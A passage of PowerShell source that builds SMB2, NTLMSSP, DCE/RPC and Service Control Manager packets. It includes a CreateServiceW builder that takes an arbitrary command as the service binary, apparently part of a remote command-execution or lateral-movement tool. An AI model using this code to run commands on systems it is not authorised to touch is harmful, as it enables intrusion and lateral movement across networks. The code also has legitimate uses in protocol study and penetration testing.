System.Collections.Specialized.OrderedDictionary + $packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_StructureSize",[Byte[]](0x19,0x00)) + $packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_Flags",[Byte[]](0x00)) + $packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_SecurityMode",[Byte[]](0x01)) + $packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_Capabilities",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_Channel",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_SecurityBufferOffset",[Byte[]](0x58,0x00)) + $packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_SecurityBufferLength",$packet_security_blob_length) + $packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_PreviousSessionID",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_Buffer",$packet_security_blob) + + return $packet_SMB2SessionSetupRequest +} + +function Get-PacketSMB2TreeConnectRequest() +{ + param([Byte[]]$packet_path) + + [Byte[]]$packet_path_length = [System.BitConverter]::GetBytes($packet_path.Length) + $packet_path_length = $packet_path_length[0,1] + + $packet_SMB2TreeConnectRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMB2TreeConnectRequest.Add("SMB2TreeConnectRequest_StructureSize",[Byte[]](0x09,0x00)) + $packet_SMB2TreeConnectRequest.Add("SMB2TreeConnectRequest_Reserved",[Byte[]](0x00,0x00)) + $packet_SMB2TreeConnectRequest.Add("SMB2TreeConnectRequest_PathOffset",[Byte[]](0x48,0x00)) + $packet_SMB2TreeConnectRequest.Add("SMB2TreeConnectRequest_PathLength",$packet_path_length) + $packet_SMB2TreeConnectRequest.Add("SMB2TreeConnectRequest_Buffer",$packet_path) + + return $packet_SMB2TreeConnectRequest +} + +function Get-PacketSMB2CreateRequestFile() +{ + param([Byte[]]$packet_named_pipe) + + $packet_named_pipe_length = [System.BitConverter]::GetBytes($packet_named_pipe.Length) + $packet_named_pipe_length = $packet_named_pipe_length[0,1] + + $packet_SMB2CreateRequestFile = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_StructureSize",[Byte[]](0x39,0x00)) + $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_Flags",[Byte[]](0x00)) + $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_RequestedOplockLevel",[Byte[]](0x00)) + $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_Impersonation",[Byte[]](0x02,0x00,0x00,0x00)) + $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_SMBCreateFlags",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_Reserved",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_DesiredAccess",[Byte[]](0x03,0x00,0x00,0x00)) + $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_FileAttributes",[Byte[]](0x80,0x00,0x00,0x00)) + $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_ShareAccess",[Byte[]](0x01,0x00,0x00,0x00)) + $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_CreateDisposition",[Byte[]](0x01,0x00,0x00,0x00)) + $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_CreateOptions",[Byte[]](0x40,0x00,0x00,0x00)) + $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_NameOffset",[Byte[]](0x78,0x00)) + $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_NameLength",$packet_named_pipe_length) + $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_CreateContextsOffset",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_CreateContextsLength",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_Buffer",$packet_named_pipe) + + return $packet_SMB2CreateRequestFile +} + +function Get-PacketSMB2ReadRequest() +{ + param ([Byte[]]$packet_file_ID) + + $packet_SMB2ReadRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMB2ReadRequest.Add("SMB2ReadRequest_StructureSize",[Byte[]](0x31,0x00)) + $packet_SMB2ReadRequest.Add("SMB2ReadRequest_Padding",[Byte[]](0x50)) + $packet_SMB2ReadRequest.Add("SMB2ReadRequest_Flags",[Byte[]](0x00)) + $packet_SMB2ReadRequest.Add("SMB2ReadRequest_Length",[Byte[]](0x00,0x00,0x10,0x00)) + $packet_SMB2ReadRequest.Add("SMB2ReadRequest_Offset",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_SMB2ReadRequest.Add("SMB2ReadRequest_FileID",$packet_file_ID) + $packet_SMB2ReadRequest.Add("SMB2ReadRequest_MinimumCount",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2ReadRequest.Add("SMB2ReadRequest_Channel",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2ReadRequest.Add("SMB2ReadRequest_RemainingBytes",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2ReadRequest.Add("SMB2ReadRequest_ReadChannelInfoOffset",[Byte[]](0x00,0x00)) + $packet_SMB2ReadRequest.Add("SMB2ReadRequest_ReadChannelInfoLength",[Byte[]](0x00,0x00)) + $packet_SMB2ReadRequest.Add("SMB2ReadRequest_Buffer",[Byte[]](0x30)) + + return $packet_SMB2ReadRequest +} + +function Get-PacketSMB2WriteRequest() +{ + param([Byte[]]$packet_file_ID,[Int]$packet_RPC_length) + + [Byte[]]$packet_write_length = [System.BitConverter]::GetBytes($packet_RPC_length) + + $packet_SMB2WriteRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMB2WriteRequest.Add("SMB2WriteRequest_StructureSize",[Byte[]](0x31,0x00)) + $packet_SMB2WriteRequest.Add("SMB2WriteRequest_DataOffset",[Byte[]](0x70,0x00)) + $packet_SMB2WriteRequest.Add("SMB2WriteRequest_Length",$packet_write_length) + $packet_SMB2WriteRequest.Add("SMB2WriteRequest_Offset",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_SMB2WriteRequest.Add("SMB2WriteRequest_FileID",$packet_file_ID) + $packet_SMB2WriteRequest.Add("SMB2WriteRequest_Channel",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2WriteRequest.Add("SMB2WriteRequest_RemainingBytes",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2WriteRequest.Add("SMB2WriteRequest_WriteChannelInfoOffset",[Byte[]](0x00,0x00)) + $packet_SMB2WriteRequest.Add("SMB2WriteRequest_WriteChannelInfoLength",[Byte[]](0x00,0x00)) + $packet_SMB2WriteRequest.Add("SMB2WriteRequest_Flags",[Byte[]](0x00,0x00,0x00,0x00)) + + return $packet_SMB2WriteRequest +} + +function Get-PacketSMB2CloseRequest() +{ + param ([Byte[]]$packet_file_ID) + + $packet_SMB2CloseRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMB2CloseRequest.Add("SMB2CloseRequest_StructureSize",[Byte[]](0x18,0x00)) + $packet_SMB2CloseRequest.Add("SMB2CloseRequest_Flags",[Byte[]](0x00,0x00)) + $packet_SMB2CloseRequest.Add("SMB2CloseRequest_Reserved",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2CloseRequest.Add("SMB2CloseRequest_FileID",$packet_file_ID) + + return $packet_SMB2CloseRequest +} + +function Get-PacketSMB2TreeDisconnectRequest() +{ + $packet_SMB2TreeDisconnectRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMB2TreeDisconnectRequest.Add("SMB2TreeDisconnectRequest_StructureSize",[Byte[]](0x04,0x00)) + $packet_SMB2TreeDisconnectRequest.Add("SMB2TreeDisconnectRequest_Reserved",[Byte[]](0x00,0x00)) + + return $packet_SMB2TreeDisconnectRequest +} + +function Get-PacketSMB2SessionLogoffRequest() +{ + $packet_SMB2SessionLogoffRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMB2SessionLogoffRequest.Add("SMB2SessionLogoffRequest_StructureSize",[Byte[]](0x04,0x00)) + $packet_SMB2SessionLogoffRequest.Add("SMB2SessionLogoffRequest_Reserved",[Byte[]](0x00,0x00)) + + return $packet_SMB2SessionLogoffRequest +} + +#NTLM + +function Get-PacketNTLMSSPNegotiate() +{ + param([Byte[]]$packet_negotiate_flags,[Byte[]]$packet_version) + + [Byte[]]$packet_NTLMSSP_length = [System.BitConverter]::GetBytes(32 + $packet_version.Length) + $packet_NTLMSSP_length = $packet_NTLMSSP_length[0] + [Byte[]]$packet_ASN_length_1 = $packet_NTLMSSP_length[0] + 32 + [Byte[]]$packet_ASN_length_2 = $packet_NTLMSSP_length[0] + 22 + [Byte[]]$packet_ASN_length_3 = $packet_NTLMSSP_length[0] + 20 + [Byte[]]$packet_ASN_length_4 = $packet_NTLMSSP_length[0] + 2 + + $packet_NTLMSSPNegotiate = New-Object System.Collections.Specialized.OrderedDictionary + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_InitialContextTokenID",[Byte[]](0x60)) # the ASN.1 key names are likely not all correct + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_InitialcontextTokenLength",$packet_ASN_length_1) + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_ThisMechID",[Byte[]](0x06)) + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_ThisMechLength",[Byte[]](0x06)) + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_OID",[Byte[]](0x2b,0x06,0x01,0x05,0x05,0x02)) + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_InnerContextTokenID",[Byte[]](0xa0)) + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_InnerContextTokenLength",$packet_ASN_length_2) + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_InnerContextTokenID2",[Byte[]](0x30)) + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_InnerContextTokenLength2",$packet_ASN_length_3) + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechTypesID",[Byte[]](0xa0)) + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechTypesLength",[Byte[]](0x0e)) + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechTypesID2",[Byte[]](0x30)) + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechTypesLength2",[Byte[]](0x0c)) + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechTypesID3",[Byte[]](0x06)) + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechTypesLength3",[Byte[]](0x0a)) + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechType",[Byte[]](0x2b,0x06,0x01,0x04,0x01,0x82,0x37,0x02,0x02,0x0a)) + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechTokenID",[Byte[]](0xa2)) + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechTokenLength",$packet_ASN_length_4) + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_NTLMSSPID",[Byte[]](0x04)) + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_NTLMSSPLength",$packet_NTLMSSP_length) + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_Identifier",[Byte[]](0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00)) + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MessageType",[Byte[]](0x01,0x00,0x00,0x00)) + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_NegotiateFlags",$packet_negotiate_flags) + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_CallingWorkstationDomain",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_CallingWorkstationName",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + + if($packet_version) + { + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_Version",$packet_version) + } + + return $packet_NTLMSSPNegotiate +} + +function Get-PacketNTLMSSPAuth() +{ + param([Byte[]]$packet_NTLM_response) + + [Byte[]]$packet_NTLMSSP_length = [System.BitConverter]::GetBytes($packet_NTLM_response.Length) + $packet_NTLMSSP_length = $packet_NTLMSSP_length[1,0] + [Byte[]]$packet_ASN_length_1 = [System.BitConverter]::GetBytes($packet_NTLM_response.Length + 12) + $packet_ASN_length_1 = $packet_ASN_length_1[1,0] + [Byte[]]$packet_ASN_length_2 = [System.BitConverter]::GetBytes($packet_NTLM_response.Length + 8) + $packet_ASN_length_2 = $packet_ASN_length_2[1,0] + [Byte[]]$packet_ASN_length_3 = [System.BitConverter]::GetBytes($packet_NTLM_response.Length + 4) + $packet_ASN_length_3 = $packet_ASN_length_3[1,0] + + $packet_NTLMSSPAuth = New-Object System.Collections.Specialized.OrderedDictionary + $packet_NTLMSSPAuth.Add("NTLMSSPAuth_ASNID",[Byte[]](0xa1,0x82)) + $packet_NTLMSSPAuth.Add("NTLMSSPAuth_ASNLength",$packet_ASN_length_1) + $packet_NTLMSSPAuth.Add("NTLMSSPAuth_ASNID2",[Byte[]](0x30,0x82)) + $packet_NTLMSSPAuth.Add("NTLMSSPAuth_ASNLength2",$packet_ASN_length_2) + $packet_NTLMSSPAuth.Add("NTLMSSPAuth_ASNID3",[Byte[]](0xa2,0x82)) + $packet_NTLMSSPAuth.Add("NTLMSSPAuth_ASNLength3",$packet_ASN_length_3) + $packet_NTLMSSPAuth.Add("NTLMSSPAuth_NTLMSSPID",[Byte[]](0x04,0x82)) + $packet_NTLMSSPAuth.Add("NTLMSSPAuth_NTLMSSPLength",$packet_NTLMSSP_length) + $packet_NTLMSSPAuth.Add("NTLMSSPAuth_NTLMResponse",$packet_NTLM_response) + + return $packet_NTLMSSPAuth +} + +#RPC + +function Get-PacketRPCBind() +{ + param([Int]$packet_call_ID,[Byte[]]$packet_max_frag,[Byte[]]$packet_num_ctx_items,[Byte[]]$packet_context_ID,[Byte[]]$packet_UUID,[Byte[]]$packet_UUID_version) + + [Byte[]]$packet_call_ID_bytes = [System.BitConverter]::GetBytes($packet_call_ID) + + $packet_RPCBind = New-Object System.Collections.Specialized.OrderedDictionary + $packet_RPCBind.Add("RPCBind_Version",[Byte[]](0x05)) + $packet_RPCBind.Add("RPCBind_VersionMinor",[Byte[]](0x00)) + $packet_RPCBind.Add("RPCBind_PacketType",[Byte[]](0x0b)) + $packet_RPCBind.Add("RPCBind_PacketFlags",[Byte[]](0x03)) + $packet_RPCBind.Add("RPCBind_DataRepresentation",[Byte[]](0x10,0x00,0x00,0x00)) + $packet_RPCBind.Add("RPCBind_FragLength",[Byte[]](0x48,0x00)) + $packet_RPCBind.Add("RPCBind_AuthLength",[Byte[]](0x00,0x00)) + $packet_RPCBind.Add("RPCBind_CallID",$packet_call_ID_bytes) + $packet_RPCBind.Add("RPCBind_MaxXmitFrag",[Byte[]](0xb8,0x10)) + $packet_RPCBind.Add("RPCBind_MaxRecvFrag",[Byte[]](0xb8,0x10)) + $packet_RPCBind.Add("RPCBind_AssocGroup",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_RPCBind.Add("RPCBind_NumCtxItems",$packet_num_ctx_items) + $packet_RPCBind.Add("RPCBind_Unknown",[Byte[]](0x00,0x00,0x00)) + $packet_RPCBind.Add("RPCBind_ContextID",$packet_context_ID) + $packet_RPCBind.Add("RPCBind_NumTransItems",[Byte[]](0x01)) + $packet_RPCBind.Add("RPCBind_Unknown2",[Byte[]](0x00)) + $packet_RPCBind.Add("RPCBind_Interface",$packet_UUID) + $packet_RPCBind.Add("RPCBind_InterfaceVer",$packet_UUID_version) + $packet_RPCBind.Add("RPCBind_InterfaceVerMinor",[Byte[]](0x00,0x00)) + $packet_RPCBind.Add("RPCBind_TransferSyntax",[Byte[]](0x04,0x5d,0x88,0x8a,0xeb,0x1c,0xc9,0x11,0x9f,0xe8,0x08,0x00,0x2b,0x10,0x48,0x60)) + $packet_RPCBind.Add("RPCBind_TransferSyntaxVer",[Byte[]](0x02,0x00,0x00,0x00)) + + if($packet_num_ctx_items[0] -eq 2) + { + $packet_RPCBind.Add("RPCBind_ContextID2",[Byte[]](0x01,0x00)) + $packet_RPCBind.Add("RPCBind_NumTransItems2",[Byte[]](0x01)) + $packet_RPCBind.Add("RPCBind_Unknown3",[Byte[]](0x00)) + $packet_RPCBind.Add("RPCBind_Interface2",[Byte[]](0xc4,0xfe,0xfc,0x99,0x60,0x52,0x1b,0x10,0xbb,0xcb,0x00,0xaa,0x00,0x21,0x34,0x7a)) + $packet_RPCBind.Add("RPCBind_InterfaceVer2",[Byte[]](0x00,0x00)) + $packet_RPCBind.Add("RPCBind_InterfaceVerMinor2",[Byte[]](0x00,0x00)) + $packet_RPCBind.Add("RPCBind_TransferSyntax2",[Byte[]](0x2c,0x1c,0xb7,0x6c,0x12,0x98,0x40,0x45,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_RPCBind.Add("RPCBind_TransferSyntaxVer2",[Byte[]](0x01,0x00,0x00,0x00)) + } + elseif($packet_num_ctx_items[0] -eq 3) + { + $packet_RPCBind.Add("RPCBind_ContextID2",[Byte[]](0x01,0x00)) + $packet_RPCBind.Add("RPCBind_NumTransItems2",[Byte[]](0x01)) + $packet_RPCBind.Add("RPCBind_Unknown3",[Byte[]](0x00)) + $packet_RPCBind.Add("RPCBind_Interface2",[Byte[]](0x43,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46)) + $packet_RPCBind.Add("RPCBind_InterfaceVer2",[Byte[]](0x00,0x00)) + $packet_RPCBind.Add("RPCBind_InterfaceVerMinor2",[Byte[]](0x00,0x00)) + $packet_RPCBind.Add("RPCBind_TransferSyntax2",[Byte[]](0x33,0x05,0x71,0x71,0xba,0xbe,0x37,0x49,0x83,0x19,0xb5,0xdb,0xef,0x9c,0xcc,0x36)) + $packet_RPCBind.Add("RPCBind_TransferSyntaxVer2",[Byte[]](0x01,0x00,0x00,0x00)) + $packet_RPCBind.Add("RPCBind_ContextID3",[Byte[]](0x02,0x00)) + $packet_RPCBind.Add("RPCBind_NumTransItems3",[Byte[]](0x01)) + $packet_RPCBind.Add("RPCBind_Unknown4",[Byte[]](0x00)) + $packet_RPCBind.Add("RPCBind_Interface3",[Byte[]](0x43,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46)) + $packet_RPCBind.Add("RPCBind_InterfaceVer3",[Byte[]](0x00,0x00)) + $packet_RPCBind.Add("RPCBind_InterfaceVerMinor3",[Byte[]](0x00,0x00)) + $packet_RPCBind.Add("RPCBind_TransferSyntax3",[Byte[]](0x2c,0x1c,0xb7,0x6c,0x12,0x98,0x40,0x45,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_RPCBind.Add("RPCBind_TransferSyntaxVer3",[Byte[]](0x01,0x00,0x00,0x00)) + $packet_RPCBind.Add("RPCBind_AuthType",[Byte[]](0x0a)) + $packet_RPCBind.Add("RPCBind_AuthLevel",[Byte[]](0x04)) + $packet_RPCBind.Add("RPCBind_AuthPadLength",[Byte[]](0x00)) + $packet_RPCBind.Add("RPCBind_AuthReserved",[Byte[]](0x00)) + $packet_RPCBind.Add("RPCBind_ContextID4",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_RPCBind.Add("RPCBind_Identifier",[Byte[]](0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00)) + $packet_RPCBind.Add("RPCBind_MessageType",[Byte[]](0x01,0x00,0x00,0x00)) + $packet_RPCBind.Add("RPCBind_NegotiateFlags",[Byte[]](0x97,0x82,0x08,0xe2)) + $packet_RPCBind.Add("RPCBind_CallingWorkstationDomain",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_RPCBind.Add("RPCBind_CallingWorkstationName",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_RPCBind.Add("RPCBind_OSVersion",[Byte[]](0x06,0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f)) + } + + if($packet_call_ID -eq 3) + { + $packet_RPCBind.Add("RPCBind_AuthType",[Byte[]](0x0a)) + $packet_RPCBind.Add("RPCBind_AuthLevel",[Byte[]](0x02)) + $packet_RPCBind.Add("RPCBind_AuthPadLength",[Byte[]](0x00)) + $packet_RPCBind.Add("RPCBind_AuthReserved",[Byte[]](0x00)) + $packet_RPCBind.Add("RPCBind_ContextID3",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_RPCBind.Add("RPCBind_Identifier",[Byte[]](0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00)) + $packet_RPCBind.Add("RPCBind_MessageType",[Byte[]](0x01,0x00,0x00,0x00)) + $packet_RPCBind.Add("RPCBind_NegotiateFlags",[Byte[]](0x97,0x82,0x08,0xe2)) + $packet_RPCBind.Add("RPCBind_CallingWorkstationDomain",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_RPCBind.Add("RPCBind_CallingWorkstationName",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_RPCBind.Add("RPCBind_OSVersion",[Byte[]](0x06,0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f)) + } + + return $packet_RPCBind +} + +function Get-PacketRPCRequest() +{ + param([Byte[]]$packet_flags,[Int]$packet_service_length,[Int]$packet_auth_length,[Int]$packet_auth_padding,[Byte[]]$packet_call_ID,[Byte[]]$packet_context_ID,[Byte[]]$packet_opnum,[Byte[]]$packet_data) + + if($packet_auth_length -gt 0) + { + $packet_full_auth_length = $packet_auth_length + $packet_auth_padding + 8 + } + + [Byte[]]$packet_write_length = [System.BitConverter]::GetBytes($packet_service_length + 24 + $packet_full_auth_length + $packet_data.Length) + [Byte[]]$packet_frag_length = $packet_write_length[0,1] + [Byte[]]$packet_alloc_hint = [System.BitConverter]::GetBytes($packet_service_length + $packet_data.Length) + [Byte[]]$packet_auth_length = [System.BitConverter]::GetBytes($packet_auth_length) + $packet_auth_length = $packet_auth_length[0,1] + + $packet_RPCRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_RPCRequest.Add("RPCRequest_Version",[Byte[]](0x05)) + $packet_RPCRequest.Add("RPCRequest_VersionMinor",[Byte[]](0x00)) + $packet_RPCRequest.Add("RPCRequest_PacketType",[Byte[]](0x00)) + $packet_RPCRequest.Add("RPCRequest_PacketFlags",$packet_flags) + $packet_RPCRequest.Add("RPCRequest_DataRepresentation",[Byte[]](0x10,0x00,0x00,0x00)) + $packet_RPCRequest.Add("RPCRequest_FragLength",$packet_frag_length) + $packet_RPCRequest.Add("RPCRequest_AuthLength",$packet_auth_length) + $packet_RPCRequest.Add("RPCRequest_CallID",$packet_call_ID) + $packet_RPCRequest.Add("RPCRequest_AllocHint",$packet_alloc_hint) + $packet_RPCRequest.Add("RPCRequest_ContextID",$packet_context_ID) + $packet_RPCRequest.Add("RPCRequest_Opnum",$packet_opnum) + + if($packet_data.Length) + { + $packet_RPCRequest.Add("RPCRequest_Data",$packet_data) + } + + return $packet_RPCRequest +} + +#SCM + +function Get-PacketSCMOpenSCManagerW() +{ + param ([Byte[]]$packet_service,[Byte[]]$packet_service_length) + + [Byte[]]$packet_write_length = [System.BitConverter]::GetBytes($packet_service.Length + 92) + [Byte[]]$packet_frag_length = $packet_write_length[0,1] + [Byte[]]$packet_alloc_hint = [System.BitConverter]::GetBytes($packet_service.Length + 68) + $packet_referent_ID1 = [String](1..2 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) + $packet_referent_ID1 = $packet_referent_ID1.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $packet_referent_ID1 += 0x00,0x00 + $packet_referent_ID2 = [String](1..2 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) + $packet_referent_ID2 = $packet_referent_ID2.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $packet_referent_ID2 += 0x00,0x00 + + $packet_SCMOpenSCManagerW = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_MachineName_ReferentID",$packet_referent_ID1) + $packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_MachineName_MaxCount",$packet_service_length) + $packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_MachineName_Offset",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_MachineName_ActualCount",$packet_service_length) + $packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_MachineName",$packet_service) + $packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_Database_ReferentID",$packet_referent_ID2) + $packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_Database_NameMaxCount",[Byte[]](0x0f,0x00,0x00,0x00)) + $packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_Database_NameOffset",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_Database_NameActualCount",[Byte[]](0x0f,0x00,0x00,0x00)) + $packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_Database",[Byte[]](0x53,0x00,0x65,0x00,0x72,0x00,0x76,0x00,0x69,0x00,0x63,0x00,0x65,0x00,0x73,0x00,0x41,0x00,0x63,0x00,0x74,0x00,0x69,0x00,0x76,0x00,0x65,0x00,0x00,0x00)) + $packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_Unknown",[Byte[]](0xbf,0xbf)) + $packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_AccessMask",[Byte[]](0x3f,0x00,0x00,0x00)) + + return $packet_SCMOpenSCManagerW +} + +function Get-PacketSCMCreateServiceW() +{ + param([Byte[]]$packet_context_handle,[Byte[]]$packet_service,[Byte[]]$packet_service_length, + [Byte[]]$packet_command,[Byte[]]$packet_command_length) + + $packet_referent_ID = [String](1..2 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) + $packet_referent_ID = $packet_referent_ID.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $packet_referent_ID += 0x00,0x00 + + $packet_SCMCreateServiceW = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_ContextHandle",$packet_context_handle) + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_ServiceName_MaxCount",$packet_service_length) + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_ServiceName_Offset",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_ServiceName_ActualCount",$packet_service_length) + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_ServiceName",$packet_service) + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_DisplayName_ReferentID",$packet_referent_ID) + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_DisplayName_MaxCount",$packet_service_length) + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_DisplayName_Offset",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_DisplayName_ActualCount",$packet_service_length) + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_DisplayName",$packet_service) + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_AccessMask",[Byte[]](0xff,0x01,0x0f,0x00)) + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_ServiceType",[Byte[]](0x10,0x00,0x00,0x00)) + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_ServiceStartType",[Byte[]](0x03,0x00,0x00,0x00)) + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_ServiceErrorControl",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_BinaryPathName_MaxCount",$packet_command_length) + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_BinaryPathName_Offset",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_BinaryPathName_ActualCount",$packet_command_length) + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_BinaryPathName",$packet_command) + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_NULLPointer",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_TagID",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_NULLPointer2",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_DependSize",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_NULLPointer3",[Byte[]](0x00,0x00,0x00,0x00)) + 